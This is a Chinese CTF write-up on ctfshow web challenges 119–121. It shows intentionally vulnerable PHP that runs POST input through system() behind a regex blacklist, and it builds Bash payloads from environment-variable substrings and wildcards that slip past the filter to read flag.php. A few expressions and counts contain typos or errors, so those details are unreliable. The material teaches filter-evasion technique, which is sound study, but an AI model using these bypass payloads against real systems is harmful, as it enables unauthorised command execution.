Pr1nt
文章12
标签8
分类4

文章分类

文章归档

从0到1,学习环境变量的利用方法

从0到1,学习环境变量的利用方法

环境变量全解

  1. 环境变量全解
    1. 起因
    2. 正文
      1. 知识点
      2. 例题1 ctfshow 119
      3. 例题2 ctfshow 120
      4. 例题3 ctfshow 121
        1. /bin/rev
        2. /bin/base64
        3. /bin/cat

写这篇文章的原因是很久之前就卡在了ctfshow web入门第120关,也就是利用环境变量来构造,在我的rce全解那篇文章中虽然有所提到,但当时研究的不够深入,写的也不是很明白,所以这里另写一篇专门的环境变量内容

正文

知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
在 Linux Shell 中,环境变量是一种在操作系统环境中存储信息的机制。
这些变量包含了有关系统环境和当前会话的信息,可以影响程序的行为和操作系统的运行。
以下是关于 Linux Shell 中环墨变量的详细讲解:
1. 环境变量的种类:
全局环境变量:对所有用户和进程都可见。
局部环境变量:只在当前 Shell 会话中可见。
2. 常见环境变量:
PATH:包含可执行程序的路径,系统会在这些路径下查找可执行文件。
HOME:当前用户的主目录路径。
USER 或 USERNAME:当前登录的用户名。
SHELL:当前使用的 Shell 解释器。
PWD:当前工作目录路径。
LANG:指定当前语言环境。
EDITOR:默认文本编辑器。
IFS: urldecode("%20%09%0A")
等等...

以上来源于gpt

当构造出${PATH:~A}时,意味着取PATH变量的最后一位字母,而PATH一般来讲是/bin,所以这里就是n

而PWD一般是/var/www/html,所以我们可以取PWD的最后一位l构造nl来读取文件,即${PWD:~A}

:~后面是数字时,例如0,意味着取最后一位,而如果没有~,则是第一位,序列是从0开始算的,字母也一样,A代表第一个,C代表第三个

这里还有一个要补充,即 ${#PWD} 的意思为PWD的长度,例如PWD为/var/www/html,则长度为14

对于上面一大堆常见环境变量,我们有大部分是不能知道的,只有PWD PATH SHLVL这种是近乎可以稳定知道的(SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)

0:${#}

1:${#SHLVL}=${##}=${#?}=1

2:${SHLVL}=2 (SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)

3:${#IFS}=3。(linux下是3,mac里是4)

SHLVL一般是: 2

例题1 ctfshow 119

因为: $PWD = /var/www/html

对于:/bin/cat flag.php

则有:/???/?at ?l??.???

至此我们可以:

1
${PWD:${#}:${##}} = ${PWD:0:1} = /

其中中间可以省略变成

1
${PWD::${##}} ===> ${PWD:0:1} ===> /  
1
${PWD:${SHLVL}:${{#}SHLVL}} = ${PWD:2:1} = a
1
${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t
1
${PWD:~A} = 取最后一位 = l
1
/bin/cat flag.php ===> ${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???

例题2 ctfshow 120

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>

对于上一道题的payload精简一下可得

构造/bin/cat ????.???

PWD=/var/www/html

所以PWD的第一位就是/

1
${PWD::${##}} ===> ${PWD:0:1} ===> /  

所以${PWD::${##}}???${PWD::${##}}??t ????.???

这里为了更短一些可以将${#SHLVL}换成${##}

1
${PWD:~${SHLVL}:${##}} ===> t  

所以最终payload:

1
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???

例题3 ctfshow 121

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

首先是SHLVL和~被ban了,无法使用,这里可以使用rev,base64,或者一种很神奇的构造t的方法

/bin/rev

PWD=/var/www/html

取序号第三位可得r

1
${PWD:${#IFS}:${##}} ===> ${PWD:3:1} ===> r
1
2
3
${IFS} 变量是用于定义字段分隔符的特殊变量,通常包含空格、制表符和换行符。

因此,${#IFS} 的结果会是 ${IFS} 变量中字符的长度。通常情况下,${IFS} 的长度是 3,因为它包含了默认的空格、制表符和换行符这三个字符。

这个方法的问题在于读取出来的flag的逆序,需要自己再逆回来,有点麻烦

/bin/base64

构造4,使用${RANDOM}会随机生成一个数,指望他直接生成一个4概率实在是太低了,不如选择长度为4,即 ${#RANDOWM}

所以payload:

1
/bin/base64 flag.php ===> /???/?????4 ????.??? ===> ${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

然后多试几次就能出来一个4位数了

/bin/cat

挺有意思的构造法,t在PWD里面是序号第10位,所以可构造10(不是十,是1和0),即

1
${##}${#}

payload:

1
/bin/cat ????.??? ===> ${PWD::${##}}???${PWD::${##}}??${PWD:${##}${#}:${##}} ????.???